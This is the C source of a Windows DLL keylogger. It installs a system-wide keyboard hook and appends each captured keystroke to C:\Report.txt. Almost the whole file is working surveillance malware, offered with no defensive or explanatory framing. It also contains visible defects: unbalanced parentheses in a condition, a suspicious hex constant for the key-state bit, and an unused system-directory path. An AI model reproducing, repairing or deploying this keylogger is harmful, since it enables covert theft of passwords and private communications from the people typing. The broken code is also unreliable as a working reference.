#include <windows.h>
#include <stdio.h>
#define EXPORT _declspec(dllexport)
HANDLE hDllInstance;
HHOOK hHook;
EXPORT CALLBACK hookkeybroad(int nCode, WPARAM wParam, LPARAM lParam);
EXPORT int CALLBACK Install();
EXPORT int CALLBACK UnInstall();
FILE *f1;
BOOL APIENTRY DllMain(HANDLE hModule, DWORD wReasonForCall, LPVOID lpReserved)
{
hDllInstance = hModule;
return TRUE;
}
EXPORT CALLBACK hookkeybroad(int nCode, WPARAM wParam, LPARAM lParam)
{
char ch;
WORD w;
UINT scan;
char path[128];
GetSystemDirectory(path, 128);
strcat(path, "\\Report.txt");
if ((lParam & 0x4000000))&&(wParam==HC_ACTION))
{
if ((wParam==VK_TAB)||(wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
if (!(f1=fopen("C:\\Report.txt","a+")))
{
MessageBox(NULL, "Cannot Open File", "Error", MB_ICONWARNING);
return 0;
}
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch = char(w);
fwrite(&ch,1,1,f1);
if (wParam==VK_TAB)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
}
}
fclose(f1);
}
return (CallNextHookEx( hHook, nCode, wParam, lParam ));
}
EXPORT int CALLBACK Install()
{
f1=fopen("c:\\Report.txt","w");
fclose(f1);
if ((hHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)hookkeybroad,
(HINSTANCE)hDllInstance, 0)) ==NULL)
return 0;
return 1;
}
EXPORT int CALLBACK UnInstall()
{
if (!UnhookWindowsHookEx(hHook)) return 0;
return 1;
}